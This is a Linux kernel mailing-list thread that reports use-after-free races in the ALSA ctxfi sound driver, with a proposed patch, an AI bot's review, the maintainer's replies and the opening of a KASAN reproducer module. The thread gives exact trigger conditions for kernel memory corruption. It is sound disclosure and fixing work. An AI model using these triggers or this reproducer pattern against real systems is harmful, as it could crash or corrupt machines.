* ALSA: ctxfi: free atimer only after the timer IRQ is quiesced
[not found] ` <2026102727-data-sequel-ce41@gregkh>
@ 2026-11-13 11:58 ` 徐晗翔
2026-11-13 16:30 ` Takashi Iwai
2026-11-13 12:03 ` ALSA: ctxfi: do not free a running system timer when timer_delete_sync_try() returns -1 (UAF) 徐晗翔
` (40 subsequent siblings)
41 siblings, 1 reply; 101+ messages in thread
From: 徐晗翔 @ 2026-11-13 11:58 UTC (permalink / raw)
To: perex, tiwai; +Cc: linux-sound, linux-kernel
`ct_timer_free()` frees `struct ct_timer` while the ctxfi timer IRQ handler can
still be executing, or can start after `snd_card_disconnect()` has already done
its single `synchronize_irq()`. A handler that has passed the non-atomic
`hw->irq_callback` check then calls `ct_timer_interrupt()` with the freed
`atimer`; `free_irq()` only runs later, inside `ct_atc_destroy()` ->
`destroy_hw_obj()`. This is a use-after-free on the timer object and can crash
or wedge the device during PCI removal/unbind.
The detailed description:
* Test environment / affected version
Linux 7.3.0 source tree under review. This report is source-level only: no
ctxfi hardware was available and QEMU has no ctxfi device model, so no
driver-specific reproducer was run. The source paths/line numbers below are
from 7.3.
* Mechanism
`ct_timer_new()` (`sound/pci/ctxfi/cttimer.c:388-411`) installs the native
timer callback by default when `!use_system_timer && hw->set_timer_irq`:
hw->irq_callback_data = atimer;
hw->irq_callback = ct_timer_interrupt;
The PCI IRQ handlers `ct_20k1_interrupt()` (`cthw20k1.c:1878-1891`) and
`ct_20k2_interrupt()` (`cthw20k2.c:2045-2059`) do:
if (hw->irq_callback)
hw->irq_callback(hw->irq_callback_data, status);
`ct_timer_interrupt()` (`cttimer.c:379-386`) then reads
`timer->ops->interrupt` and calls it with `timer`. Neither the check nor
the two loads is atomic.
`ct_timer_free()` (`cttimer.c:414-421`) does:
struct hw *hw = atimer->atc->hw;
hw->irq_callback = NULL;
if (atimer->ops->free_global)
atimer->ops->free_global(atimer);
kfree(atimer);
`ct_xfitimer_free_global()` only calls `ct_xfitimer_irq_stop()`; that helper
stops the hardware only if `atimer->running` is set (`cttimer.c:137-145`).
It does not wait for an in-flight IRQ handler.
`ct_atc_destroy()` (`ctatc.c:1250-1286`) then calls `ct_timer_free()` at
1257-1260, calls `destroy_hw_obj(atc->hw)` at 1274-1275, and only after that
`kfree(atc)` at 1283. `destroy_hw_obj()` -> `hw_card_shutdown()` ->
`free_irq()` at `cthw20k1.c:1969` / `cthw20k2.c:2140`. So `atc` itself is
not the freed object in this window; `atimer` is freed before `free_irq()`.
* Why the existing synchronization does not close the window
ctxfi does set `card->sync_irq` at `cthw20k1.c:1937` / `cthw20k2.c:2104`,
and `snd_card_disconnect()` (`sound/core/init.c:495-562`) calls
`synchronize_irq(card->sync_irq)` once at 540-541. But that call happens
before `ct_timer_free()`, only waits handlers that are running at that
instant, and does not disable the IRQ line. A new handler can enter after
the one-time sync and before `free_irq()`.
The `hw->irq_callback = NULL` store does not close the race either: a
handler that loaded the callback pointer before the store can still call it.
* Trigger model
Open a ctxfi device (native timer path, the default), then remove/unbind the
PCI device while an interrupt is pending or arrives during teardown. The
window is between `ct_timer_free()` and `free_irq()`. Consequence: UAF read
of `atimer->ops` and timer fields in IRQ context; crash, stall, or potential
control-flow corruption.
* Suggested direction
After clearing `hw->irq_callback` and calling `free_global()`, but before
`kfree(atimer)`, do:
if (hw->irq >= 0)
synchronize_irq(hw->irq);
Alternatively, move `free_irq()` earlier so it precedes the timer free.
Keep the existing `hw->irq == -1` initialization contract.
Please keep me in Cc; I am not subscribed to the lists.
Regards,
Hanxiang Xu
xuhx@hust.edu.cn
^ permalink raw reply [flat|nested] 101+ messages in thread* Re: ALSA: ctxfi: free atimer only after the timer IRQ is quiesced
2026-11-13 11:58 ` ALSA: ctxfi: free atimer only after the timer IRQ is quiesced 徐晗翔
@ 2026-11-13 16:30 ` Takashi Iwai
2026-11-25 12:51 ` [PATCH] Re: " 徐晗翔
0 siblings, 1 reply; 101+ messages in thread
From: Takashi Iwai @ 2026-11-13 16:30 UTC (permalink / raw)
To: 徐晗翔; +Cc: perex, tiwai, linux-sound, linux-kernel
On Fri, 13 Nov 2026 12:58:51 +0100,
徐晗翔 wrote:
>
> `ct_timer_free()` frees `struct ct_timer` while the ctxfi timer IRQ handler can
> still be executing, or can start after `snd_card_disconnect()` has already done
> its single `synchronize_irq()`. A handler that has passed the non-atomic
> `hw->irq_callback` check then calls `ct_timer_interrupt()` with the freed
> `atimer`; `free_irq()` only runs later, inside `ct_atc_destroy()` ->
> `destroy_hw_obj()`. This is a use-after-free on the timer object and can crash
> or wedge the device during PCI removal/unbind.
>
> The detailed description:
>
> * Test environment / affected version
>
> Linux 7.3.0 source tree under review. This report is source-level only: no
> ctxfi hardware was available and QEMU has no ctxfi device model, so no
> driver-specific reproducer was run. The source paths/line numbers below are
> from 7.3.
>
> * Mechanism
>
> `ct_timer_new()` (`sound/pci/ctxfi/cttimer.c:388-411`) installs the native
> timer callback by default when `!use_system_timer && hw->set_timer_irq`:
>
> hw->irq_callback_data = atimer;
> hw->irq_callback = ct_timer_interrupt;
>
> The PCI IRQ handlers `ct_20k1_interrupt()` (`cthw20k1.c:1878-1891`) and
> `ct_20k2_interrupt()` (`cthw20k2.c:2045-2059`) do:
>
> if (hw->irq_callback)
> hw->irq_callback(hw->irq_callback_data, status);
>
> `ct_timer_interrupt()` (`cttimer.c:379-386`) then reads
> `timer->ops->interrupt` and calls it with `timer`. Neither the check nor
> the two loads is atomic.
>
> `ct_timer_free()` (`cttimer.c:414-421`) does:
>
> struct hw *hw = atimer->atc->hw;
> hw->irq_callback = NULL;
> if (atimer->ops->free_global)
> atimer->ops->free_global(atimer);
> kfree(atimer);
>
> `ct_xfitimer_free_global()` only calls `ct_xfitimer_irq_stop()`; that helper
> stops the hardware only if `atimer->running` is set (`cttimer.c:137-145`).
> It does not wait for an in-flight IRQ handler.
>
> `ct_atc_destroy()` (`ctatc.c:1250-1286`) then calls `ct_timer_free()` at
> 1257-1260, calls `destroy_hw_obj(atc->hw)` at 1274-1275, and only after that
> `kfree(atc)` at 1283. `destroy_hw_obj()` -> `hw_card_shutdown()` ->
> `free_irq()` at `cthw20k1.c:1969` / `cthw20k2.c:2140`. So `atc` itself is
> not the freed object in this window; `atimer` is freed before `free_irq()`.
>
> * Why the existing synchronization does not close the window
>
> ctxfi does set `card->sync_irq` at `cthw20k1.c:1937` / `cthw20k2.c:2104`,
> and `snd_card_disconnect()` (`sound/core/init.c:495-562`) calls
> `synchronize_irq(card->sync_irq)` once at 540-541. But that call happens
> before `ct_timer_free()`, only waits handlers that are running at that
> instant, and does not disable the IRQ line. A new handler can enter after
> the one-time sync and before `free_irq()`.
>
> The `hw->irq_callback = NULL` store does not close the race either: a
> handler that loaded the callback pointer before the store can still call it.
>
> * Trigger model
>
> Open a ctxfi device (native timer path, the default), then remove/unbind the
> PCI device while an interrupt is pending or arrives during teardown. The
> window is between `ct_timer_free()` and `free_irq()`. Consequence: UAF read
> of `atimer->ops` and timer fields in IRQ context; crash, stall, or potential
> control-flow corruption.
>
> * Suggested direction
>
> After clearing `hw->irq_callback` and calling `free_global()`, but before
> `kfree(atimer)`, do:
>
> if (hw->irq >= 0)
> synchronize_irq(hw->irq);
>
> Alternatively, move `free_irq()` earlier so it precedes the timer free.
> Keep the existing `hw->irq == -1` initialization contract.
>
>
> Please keep me in Cc; I am not subscribed to the lists.
Could you rather submit a fix patch (with a proper patch description)
for each your reported issue? You can put Link: tag to pointing to
the earlier reports.
thanks,
Takashi
^ permalink raw reply [flat|nested] 101+ messages in thread
* [PATCH] Re: Re: ALSA: ctxfi: free atimer only after the timer IRQ is quiesced
2026-11-13 16:30 ` Takashi Iwai
@ 2026-11-25 12:51 ` 徐晗翔
2026-11-25 13:00 ` sashiko-bot
2026-11-25 14:33 ` Takashi Iwai
0 siblings, 2 replies; 101+ messages in thread
From: 徐晗翔 @ 2026-11-25 12:51 UTC (permalink / raw)
To: Takashi Iwai; +Cc: perex, tiwai, linux-sound, linux-kernel
ct_timer_free() cleared hw->irq_callback, stopped the hardware timer
and kfree()d the ct_timer while the PCI IRQ handler could still be
running or start later: a handler that loaded hw->irq_callback
before the NULL store calls ct_timer_interrupt() with the freed
atimer, and the single synchronize_irq() in snd_card_disconnect()
only covers handlers that were running at that instant -- free_irq()
happens later, in ct_atc_destroy() -> destroy_hw_obj().
synchronize_irq(hw->irq) after clearing the callback and stopping
the hardware, before the kfree(). The hw->irq == -1 initialization
contract is kept (the sync only runs for an installed IRQ).
---
sound/pci/ctxfi/cttimer.c | 8 ++++++++
1 file changed, 8 insertions(+)
diff --git a/sound/pci/ctxfi/cttimer.c b/sound/pci/ctxfi/cttimer.c
--- a/sound/pci/ctxfi/cttimer.c
+++ b/sound/pci/ctxfi/cttimer.c
@@ -417,6 +417,14 @@
hw->irq_callback = NULL;
if (atimer->ops->free_global)
atimer->ops->free_global(atimer);
+ /* Wait for an in-flight IRQ handler before the timer object goes
+ * away. A handler that already loaded hw->irq_callback can still
+ * call ct_timer_interrupt() with the freed atimer, and the single
+ * synchronize_irq() in snd_card_disconnect() only covers handlers
+ * that were running at that instant -- free_irq() happens later,
+ * in ct_atc_destroy() -> destroy_hw_obj(). */
+ if (hw->irq >= 0)
+ synchronize_irq(hw->irq);
kfree(atimer);
}
> -----原始邮件-----
> 发件人: "Takashi Iwai" <tiwai@suse.de>
> 发送时间:2026-11-14 00:30:54 (星期六)
> 收件人: 徐晗翔 <xuhx@hust.edu.cn>
> 抄送: perex@perex.cz, tiwai@suse.com, linux-sound@vger.kernel.org, linux-kernel@vger.kernel.org
> 主题: Re: ALSA: ctxfi: free atimer only after the timer IRQ is quiesced
>
> On Fri, 13 Nov 2026 12:58:51 +0100,
> 徐晗翔 wrote:
> >
> > `ct_timer_free()` frees `struct ct_timer` while the ctxfi timer IRQ handler can
> > still be executing, or can start after `snd_card_disconnect()` has already done
> > its single `synchronize_irq()`. A handler that has passed the non-atomic
> > `hw->irq_callback` check then calls `ct_timer_interrupt()` with the freed
> > `atimer`; `free_irq()` only runs later, inside `ct_atc_destroy()` ->
> > `destroy_hw_obj()`. This is a use-after-free on the timer object and can crash
> > or wedge the device during PCI removal/unbind.
> >
> > The detailed description:
> >
> > * Test environment / affected version
> >
> > Linux 7.3.0 source tree under review. This report is source-level only: no
> > ctxfi hardware was available and QEMU has no ctxfi device model, so no
> > driver-specific reproducer was run. The source paths/line numbers below are
> > from 7.3.
> >
> > * Mechanism
> >
> > `ct_timer_new()` (`sound/pci/ctxfi/cttimer.c:388-411`) installs the native
> > timer callback by default when `!use_system_timer && hw->set_timer_irq`:
> >
> > hw->irq_callback_data = atimer;
> > hw->irq_callback = ct_timer_interrupt;
> >
> > The PCI IRQ handlers `ct_20k1_interrupt()` (`cthw20k1.c:1878-1891`) and
> > `ct_20k2_interrupt()` (`cthw20k2.c:2045-2059`) do:
> >
> > if (hw->irq_callback)
> > hw->irq_callback(hw->irq_callback_data, status);
> >
> > `ct_timer_interrupt()` (`cttimer.c:379-386`) then reads
> > `timer->ops->interrupt` and calls it with `timer`. Neither the check nor
> > the two loads is atomic.
> >
> > `ct_timer_free()` (`cttimer.c:414-421`) does:
> >
> > struct hw *hw = atimer->atc->hw;
> > hw->irq_callback = NULL;
> > if (atimer->ops->free_global)
> > atimer->ops->free_global(atimer);
> > kfree(atimer);
> >
> > `ct_xfitimer_free_global()` only calls `ct_xfitimer_irq_stop()`; that helper
> > stops the hardware only if `atimer->running` is set (`cttimer.c:137-145`).
> > It does not wait for an in-flight IRQ handler.
> >
> > `ct_atc_destroy()` (`ctatc.c:1250-1286`) then calls `ct_timer_free()` at
> > 1257-1260, calls `destroy_hw_obj(atc->hw)` at 1274-1275, and only after that
> > `kfree(atc)` at 1283. `destroy_hw_obj()` -> `hw_card_shutdown()` ->
> > `free_irq()` at `cthw20k1.c:1969` / `cthw20k2.c:2140`. So `atc` itself is
> > not the freed object in this window; `atimer` is freed before `free_irq()`.
> >
> > * Why the existing synchronization does not close the window
> >
> > ctxfi does set `card->sync_irq` at `cthw20k1.c:1937` / `cthw20k2.c:2104`,
> > and `snd_card_disconnect()` (`sound/core/init.c:495-562`) calls
> > `synchronize_irq(card->sync_irq)` once at 540-541. But that call happens
> > before `ct_timer_free()`, only waits handlers that are running at that
> > instant, and does not disable the IRQ line. A new handler can enter after
> > the one-time sync and before `free_irq()`.
> >
> > The `hw->irq_callback = NULL` store does not close the race either: a
> > handler that loaded the callback pointer before the store can still call it.
> >
> > * Trigger model
> >
> > Open a ctxfi device (native timer path, the default), then remove/unbind the
> > PCI device while an interrupt is pending or arrives during teardown. The
> > window is between `ct_timer_free()` and `free_irq()`. Consequence: UAF read
> > of `atimer->ops` and timer fields in IRQ context; crash, stall, or potential
> > control-flow corruption.
> >
> > * Suggested direction
> >
> > After clearing `hw->irq_callback` and calling `free_global()`, but before
> > `kfree(atimer)`, do:
> >
> > if (hw->irq >= 0)
> > synchronize_irq(hw->irq);
> >
> > Alternatively, move `free_irq()` earlier so it precedes the timer free.
> > Keep the existing `hw->irq == -1` initialization contract.
> >
> >
> > Please keep me in Cc; I am not subscribed to the lists.
>
> Could you rather submit a fix patch (with a proper patch description)
> for each your reported issue? You can put Link: tag to pointing to
> the earlier reports.
>
>
> thanks,
>
> Takashi
^ permalink raw reply [flat|nested] 101+ messages in thread
* Re: [PATCH] Re: Re: ALSA: ctxfi: free atimer only after the timer IRQ is quiesced
2026-11-25 12:51 ` [PATCH] Re: " 徐晗翔
@ 2026-11-25 13:00 ` sashiko-bot
2026-11-25 14:33 ` Takashi Iwai
1 sibling, 0 replies; 101+ messages in thread
From: sashiko-bot @ 2026-11-25 13:00 UTC (permalink / raw)
To: 徐晗翔; +Cc: linux-sound
Thank you for your contribution! Sashiko AI review found 3 potential
issues to consider:
- [High] ALSA: ctxfi: missing Signed-off-by trailer in commit message
- [Medium] ALSA: ctxfi: unlocked free_global() in ct_timer_free() before
IRQ sync
- [Low] ALSA: ctxfi: missing Fixes trailer in commit message
--
commit 642fa23b6f7a078e46a39ad1f3b28c30762061f3
Author: 徐晗翔 <xuhx@hust.edu.cn>
> ALSA: ctxfi: free atimer only after the timer IRQ is quiesced
>
> ct_timer_free() cleared hw->irq_callback, stopped the hardware timer
> and kfree()d the ct_timer while the PCI IRQ handler could still be
> running or start later: a handler that loaded hw->irq_callback
> before the NULL store calls ct_timer_interrupt() with the freed
> atimer, and the single synchronize_irq() in snd_card_disconnect()
> only covers handlers that were running at that instant -- free_irq()
> happens later, in ct_atc_destroy() -> destroy_hw_obj().
>
> synchronize_irq(hw->irq) after clearing the callback and stopping
> the hardware, before the kfree(). The hw->irq == -1 initialization
> contract is kept (the sync only runs for an installed IRQ).
[Severity: High]
The commit message is missing a Signed-off-by: trailer, which is required
under Documentation/process/submitting-patches.rst.
[Severity: Low]
Since this fixes the IRQ teardown race present since the native timer
interrupt support was added, should the commit message include:
Fixes: b7bbf876087e ("ALSA: ctxfi - Use native timer interrupt on emu20k1")
> diff --git a/sound/pci/ctxfi/cttimer.c b/sound/pci/ctxfi/cttimer.c
> index 9d6f5df2bc7ef..e986f56c09fbe 100644
> --- a/sound/pci/ctxfi/cttimer.c
> +++ b/sound/pci/ctxfi/cttimer.c
> @@ -417,6 +417,14 @@ void ct_timer_free(struct ct_timer *atimer)
> hw->irq_callback = NULL;
> if (atimer->ops->free_global)
> atimer->ops->free_global(atimer);
> + /* Wait for an in-flight IRQ handler before the timer object goes
> + * away. A handler that already loaded hw->irq_callback can still
> + * call ct_timer_interrupt() with the freed atimer, and the single
> + * synchronize_irq() in snd_card_disconnect() only covers handlers
> + * that were running at that instant -- free_irq() happens later,
> + * in ct_atc_destroy() -> destroy_hw_obj(). */
> + if (hw->irq >= 0)
> + synchronize_irq(hw->irq);
> kfree(atimer);
> }
[Severity: Medium]
Can atimer->ops->free_global(atimer) race with an in-flight
ct_xfitimer_callback() when called unlocked before synchronize_irq()?
When the last substream is freed while ct_xfitimer_callback() is inside
its unlocked ct_xfitimer_check_period() window, ct_xfitimer_stop() ->
ct_xfitimer_update() sees atimer->irq_handling == 1, sets
atimer->reprogram = 1, and returns without stopping the hardware timer:
CPU0 CPU1 (<hardirq>)
ct_timer_interrupt()
ct_xfitimer_callback()
spin_lock(&atimer->lock)
atimer->irq_handling = 1
...
spin_unlock(&atimer->lock)
ct_xfitimer_check_period()
ct_timer_instance_free()
ct_xfitimer_stop()
ct_xfitimer_update()
/* irq_handling == 1: defers stop */
atimer->reprogram = 1
ct_timer_free()
hw->irq_callback = NULL
ct_xfitimer_free_global()
ct_xfitimer_irq_stop()
hw->set_timer_irq(hw, 0)
hw->set_timer_tick(hw, 0)
atimer->running = 0 <-- data race on bitfield word & MMIO
spin_lock(&atimer->lock)
ct_xfitimer_reprogram()
ct_xfitimer_irq_stop()
atimer->irq_handling = 0
spin_unlock(&atimer->lock)
synchronize_irq(hw->irq)
In struct ct_timer, irq_handling, reprogram, and running are 1-bit
bitfields sharing the same storage word, and every other caller of
ct_xfitimer_irq_stop() holds atimer->lock:
sound/pci/ctxfi/cttimer.c:struct ct_timer {
...
unsigned int irq_handling:1; /* in IRQ handling */
unsigned int reprogram:1; /* need to reprogram the internval */
unsigned int running:1; /* global timer running */
};
Running ct_xfitimer_free_global() without atimer->lock before
synchronize_irq() causes concurrent unsynchronized MMIO writes to the
timer registers and an unlocked read-modify-write on the shared bitfield
word that can clobber atimer->reprogram or atimer->irq_handling in
ct_xfitimer_callback(). Calling synchronize_irq() before
atimer->ops->free_global(atimer), or taking atimer->lock in
ct_xfitimer_free_global(), would avoid this race.
--
Sashiko AI review · https://sashiko.dev/#/patchset/48749068.582.1a212c2b537.Coremail.xuhx@hust.edu.cn?part=1
^ permalink raw reply [flat|nested] 101+ messages in thread* Re: [PATCH] Re: Re: ALSA: ctxfi: free atimer only after the timer IRQ is quiesced
2026-11-25 12:51 ` [PATCH] Re: " 徐晗翔
2026-11-25 13:00 ` sashiko-bot
@ 2026-11-25 14:33 ` Takashi Iwai
1 sibling, 0 replies; 101+ messages in thread
From: Takashi Iwai @ 2026-11-25 14:33 UTC (permalink / raw)
To: 徐晗翔
Cc: Takashi Iwai, perex, tiwai, linux-sound, linux-kernel
On Wed, 25 Nov 2026 13:51:19 +0100,
徐晗翔 wrote:
>
> ct_timer_free() cleared hw->irq_callback, stopped the hardware timer
> and kfree()d the ct_timer while the PCI IRQ handler could still be
> running or start later: a handler that loaded hw->irq_callback
> before the NULL store calls ct_timer_interrupt() with the freed
> atimer, and the single synchronize_irq() in snd_card_disconnect()
> only covers handlers that were running at that instant -- free_irq()
> happens later, in ct_atc_destroy() -> destroy_hw_obj().
>
> synchronize_irq(hw->irq) after clearing the callback and stopping
> the hardware, before the kfree(). The hw->irq == -1 initialization
> contract is kept (the sync only runs for an installed IRQ).
A more proper fix would be to clear hw->irq_callback at the
disconnect, i.e. adding .dev_disconnect callback to ct_atc_create()
and clear hw->irq_callback (maybe introducing ct_timer_disconnect()
and doing there). Then it's assured to be detached completely after
the disconnect, then no pending access would happen.
thanks,
Takashi
> ---
> sound/pci/ctxfi/cttimer.c | 8 ++++++++
> 1 file changed, 8 insertions(+)
>
> diff --git a/sound/pci/ctxfi/cttimer.c b/sound/pci/ctxfi/cttimer.c
> --- a/sound/pci/ctxfi/cttimer.c
> +++ b/sound/pci/ctxfi/cttimer.c
> @@ -417,6 +417,14 @@
> hw->irq_callback = NULL;
> if (atimer->ops->free_global)
> atimer->ops->free_global(atimer);
> + /* Wait for an in-flight IRQ handler before the timer object goes
> + * away. A handler that already loaded hw->irq_callback can still
> + * call ct_timer_interrupt() with the freed atimer, and the single
> + * synchronize_irq() in snd_card_disconnect() only covers handlers
> + * that were running at that instant -- free_irq() happens later,
> + * in ct_atc_destroy() -> destroy_hw_obj(). */
> + if (hw->irq >= 0)
> + synchronize_irq(hw->irq);
> kfree(atimer);
> }
>
>
>
>
> > -----原始邮件-----
> > 发件人: "Takashi Iwai" <tiwai@suse.de>
> > 发送时间:2026-11-14 00:30:54 (星期六)
> > 收件人: 徐晗翔 <xuhx@hust.edu.cn>
> > 抄送: perex@perex.cz, tiwai@suse.com, linux-sound@vger.kernel.org, linux-kernel@vger.kernel.org
> > 主题: Re: ALSA: ctxfi: free atimer only after the timer IRQ is quiesced
> >
> > On Fri, 13 Nov 2026 12:58:51 +0100,
> > 徐晗翔 wrote:
> > >
> > > `ct_timer_free()` frees `struct ct_timer` while the ctxfi timer IRQ handler can
> > > still be executing, or can start after `snd_card_disconnect()` has already done
> > > its single `synchronize_irq()`. A handler that has passed the non-atomic
> > > `hw->irq_callback` check then calls `ct_timer_interrupt()` with the freed
> > > `atimer`; `free_irq()` only runs later, inside `ct_atc_destroy()` ->
> > > `destroy_hw_obj()`. This is a use-after-free on the timer object and can crash
> > > or wedge the device during PCI removal/unbind.
> > >
> > > The detailed description:
> > >
> > > * Test environment / affected version
> > >
> > > Linux 7.3.0 source tree under review. This report is source-level only: no
> > > ctxfi hardware was available and QEMU has no ctxfi device model, so no
> > > driver-specific reproducer was run. The source paths/line numbers below are
> > > from 7.3.
> > >
> > > * Mechanism
> > >
> > > `ct_timer_new()` (`sound/pci/ctxfi/cttimer.c:388-411`) installs the native
> > > timer callback by default when `!use_system_timer && hw->set_timer_irq`:
> > >
> > > hw->irq_callback_data = atimer;
> > > hw->irq_callback = ct_timer_interrupt;
> > >
> > > The PCI IRQ handlers `ct_20k1_interrupt()` (`cthw20k1.c:1878-1891`) and
> > > `ct_20k2_interrupt()` (`cthw20k2.c:2045-2059`) do:
> > >
> > > if (hw->irq_callback)
> > > hw->irq_callback(hw->irq_callback_data, status);
> > >
> > > `ct_timer_interrupt()` (`cttimer.c:379-386`) then reads
> > > `timer->ops->interrupt` and calls it with `timer`. Neither the check nor
> > > the two loads is atomic.
> > >
> > > `ct_timer_free()` (`cttimer.c:414-421`) does:
> > >
> > > struct hw *hw = atimer->atc->hw;
> > > hw->irq_callback = NULL;
> > > if (atimer->ops->free_global)
> > > atimer->ops->free_global(atimer);
> > > kfree(atimer);
> > >
> > > `ct_xfitimer_free_global()` only calls `ct_xfitimer_irq_stop()`; that helper
> > > stops the hardware only if `atimer->running` is set (`cttimer.c:137-145`).
> > > It does not wait for an in-flight IRQ handler.
> > >
> > > `ct_atc_destroy()` (`ctatc.c:1250-1286`) then calls `ct_timer_free()` at
> > > 1257-1260, calls `destroy_hw_obj(atc->hw)` at 1274-1275, and only after that
> > > `kfree(atc)` at 1283. `destroy_hw_obj()` -> `hw_card_shutdown()` ->
> > > `free_irq()` at `cthw20k1.c:1969` / `cthw20k2.c:2140`. So `atc` itself is
> > > not the freed object in this window; `atimer` is freed before `free_irq()`.
> > >
> > > * Why the existing synchronization does not close the window
> > >
> > > ctxfi does set `card->sync_irq` at `cthw20k1.c:1937` / `cthw20k2.c:2104`,
> > > and `snd_card_disconnect()` (`sound/core/init.c:495-562`) calls
> > > `synchronize_irq(card->sync_irq)` once at 540-541. But that call happens
> > > before `ct_timer_free()`, only waits handlers that are running at that
> > > instant, and does not disable the IRQ line. A new handler can enter after
> > > the one-time sync and before `free_irq()`.
> > >
> > > The `hw->irq_callback = NULL` store does not close the race either: a
> > > handler that loaded the callback pointer before the store can still call it.
> > >
> > > * Trigger model
> > >
> > > Open a ctxfi device (native timer path, the default), then remove/unbind the
> > > PCI device while an interrupt is pending or arrives during teardown. The
> > > window is between `ct_timer_free()` and `free_irq()`. Consequence: UAF read
> > > of `atimer->ops` and timer fields in IRQ context; crash, stall, or potential
> > > control-flow corruption.
> > >
> > > * Suggested direction
> > >
> > > After clearing `hw->irq_callback` and calling `free_global()`, but before
> > > `kfree(atimer)`, do:
> > >
> > > if (hw->irq >= 0)
> > > synchronize_irq(hw->irq);
> > >
> > > Alternatively, move `free_irq()` earlier so it precedes the timer free.
> > > Keep the existing `hw->irq == -1` initialization contract.
> > >
> > >
> > > Please keep me in Cc; I am not subscribed to the lists.
> >
> > Could you rather submit a fix patch (with a proper patch description)
> > for each your reported issue? You can put Link: tag to pointing to
> > the earlier reports.
> >
> >
> > thanks,
> >
> > Takashi
^ permalink raw reply [flat|nested] 101+ messages in thread
* ALSA: ctxfi: do not free a running system timer when timer_delete_sync_try() returns -1 (UAF)
[not found] ` <2026102727-data-sequel-ce41@gregkh>
2026-11-13 11:58 ` ALSA: ctxfi: free atimer only after the timer IRQ is quiesced 徐晗翔
@ 2026-11-13 12:03 ` 徐晗翔
2026-11-25 12:51 ` [PATCH] " 徐晗翔
2026-11-13 12:04 ` ALSA: asihpi: free IRQ before snd_card_free()/HPI delete on HPI6205 removal (UAF) 徐晗翔
` (39 subsequent siblings)
41 siblings, 1 reply; 101+ messages in thread
From: 徐晗翔 @ 2026-11-13 12:03 UTC (permalink / raw)
To: perex, tiwai; +Cc: linux-sound, linux-kernel
[-- Attachment #1: Type: text/plain, Size: 4108 bytes --]
`ct_systimer_prepare()` is used as both the prepare callback and the
`free_instance` callback. It calls `timer_delete_sync_try()` and ignores the
return value; `-1` means the timer callback is running on another CPU and the
timer was NOT deleted. `ct_timer_instance_free()` then removes the instance
and `kfree()`s it while `ct_systimer_callback()` can still dereference
`ti->substream`, `ti->substream->runtime`, `ti->apcm`, and `ti->position`.
A normal PCM close with `use_system_timer=1` can therefore produce a UAF of
the timer instance, the PCM runtime, and the driver's private PCM object.
The detailed description:
* Test environment / affected version
Linux 7.3.0, source analysis plus a QEMU/KASAN primitive reproducer.
The reproducer uses the real exported `timer_delete_sync_try()` and a timer
callback; it does not call the static ctxfi functions or emulate ctxfi
hardware.
* Mechanism
`ct_systimer_callback()` (`sound/pci/ctxfi/cttimer.c:63-87`) reads
`ti->substream`, `substream->runtime`, `ti->apcm`,
`substream->ops->pointer`, `apcm->interrupt`, and `ti->position`; it takes
`ti->lock` only near the end and may re-arm the timer.
`ct_systimer_stop()` (`cttimer.c:105-110`) locks `ti->lock`, clears
`ti->running`, and calls `timer_delete()`. `ct_systimer_prepare()`
(`cttimer.c:112-116`) then does:
ct_systimer_stop(ti);
timer_delete_sync_try(&ti->timer);
`#define ct_systimer_free ct_systimer_prepare` at line 118 makes the same
function the `free_instance` callback, and `ct_systimer_ops.free_instance`
is set at 120-126. `ct_timer_instance_free()` (`cttimer.c:360-373`) calls
`atimer->ops->stop()`, then `free_instance()`, then `list_del()` under
`list_lock`, then `kfree(ti)`.
`timer_delete_sync_try()` (`kernel/time/timer.c:1488-1492`) returns 0 if the
timer was not pending, 1 if it was pending and deactivated, and -1 if the
callback is running on another CPU. It never waits. The return value is
ignored here.
The PCM close path is `snd_pcm_release_substream()`
(`sound/core/pcm_native.c:2785-2805`) -> `snd_pcm_drop()` ->
`snd_pcm_detach_substream()` (`sound/core/pcm.c:978-1005`). The ctxfi
`runtime->private_free` is `ct_atc_pcm_free_substream()`
(`sound/pci/ctxfi/ctpcm.c:103-112`), which calls
`ct_timer_instance_free(apcm->timer)` and then `kfree(apcm)`. Thus a
callback running on another CPU can use `ti`, `ti->substream->runtime`, and
`apcm` after they are freed.
* Why the fix cannot simply sleep in ct_systimer_prepare()
The same callback is also `ct_timer_ops.prepare`, called from
`ct_timer_prepare()` while `snd_pcm_prepare()` holds
`pcm_stream_lock_irq` (`pcm_native.c:2042-2050`). Replacing the try with a
sleeping `timer_delete_sync()` there would cause "scheduling while atomic".
The prepare path must keep a non-sleeping delete/try; the close/free path
needs a separate method.
* Trigger model
`use_system_timer=1` (module parameter; default is false), open/prepare a
PCM, let the system timer callback run, then close the PCM while the
callback is still active on another CPU. SMP/preemption required.
Consequence: UAF in timer softirq; crash or memory corruption.
* Dynamic evidence
`sndpci_race.c`, mode `v3`, runs the real
`timer_delete_sync_try()`; when it returns -1 the test frees the object while
the callback is in `mdelay()`. Show 16 KASAN reports:
sndpci_race: v3 iter=0 delete_sync_try=-1
BUG: KASAN: slab-use-after-free in v3_callback
...
Allocated by task 86: v3_thread
Freed by task 86: kfree -> v3_thread
* Suggested direction
Split the callbacks: keep `ct_systimer_prepare()` non-sleeping for the
prepare path, and add a separate `ct_systimer_free()` for close/free that
first clears the callback/running state and then calls
`timer_shutdown_sync(&ti->timer)` (or `timer_delete_sync()`), before the
instance list removal and `kfree(ti)`. Do not call the sleeping helper from
the PCM prepare path.
Please keep me in Cc; I am not subscribed to the lists.
Regards,
Hanxiang Xu
xuhx@hust.edu.cn
[-- Attachment #2: sndpci_race.c --]
[-- Type: text/plain, Size: 9729 bytes --]
// SPDX-License-Identifier: GPL-2.0
/*
* sndpci_race.c - minimal ALSA/kernel lifetime-race reproducers for the
* sound/pci manual-review cases V3/V4/V5.
*
* The module deliberately reproduces the *lifetime patterns* used by
* ctxfi/asihpi, using only exported ALSA core and timer APIs. It is not a
* ctxfi/asihpi emulator: those drivers need hardware that this QEMU does not
* provide. The purpose is to test whether the core/API windows identified in
* the report are real on an instrumented KASAN kernel.
*
* modes:
* v3 - timer_delete_sync_try() returns -1 while the callback runs on
* another CPU; free the object anyway (ctxfi system-timer pattern).
* pcm - create a fake ALSA card with two playback substreams. The guest
* program pcmtest then exercises close (V4) or link+close (V5).
*/
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/slab.h>
#include <linux/timer.h>
#include <linux/jiffies.h>
#include <linux/delay.h>
#include <linux/kthread.h>
#include <linux/cpumask.h>
#include <linux/sched.h>
#include <linux/container_of.h>
#include <linux/string.h>
#include <linux/platform_device.h>
#include <sound/core.h>
#include <sound/pcm.h>
#include <sound/pcm_params.h>
#define DRV "sndpci_race"
#define COOKIE 0x5a5a1234deadbeefULL
static char *mode = "pcm";
module_param(mode, charp, 0444);
static bool safe;
module_param(safe, bool, 0444);
